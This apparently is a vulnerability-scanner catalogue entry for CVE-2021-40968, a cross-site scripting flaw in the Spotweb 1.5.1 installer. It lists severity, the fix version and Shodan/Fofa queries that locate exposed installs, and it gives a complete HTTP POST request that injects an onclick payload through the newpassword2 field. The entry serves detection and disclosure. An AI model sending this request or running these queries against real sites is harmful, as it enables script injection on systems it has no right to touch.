| Title | Spotweb <= 1.5.1 - Cross Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Fixed in version 1.5.2 |
| CVSS Score | 6.1 |
| EPSS Score | 0.01286 |
| CVE ID | CVE-2021-40968 |
| CWE ID | CWE-79 |
| Shodan Query | title:"SpotWeb - overview"http.title:"spotweb - overview" |
| Fofa Query | title="spotweb - overview" |
| Tags | cve2021 cve xss spotweb spotweb_project vuln |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword2 parameter.
POST /install.php?page=4 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
settingsform[newpassword2]=pdteam'+onclick='alert(document.domain)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40968.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40968.pcap
N/AN/A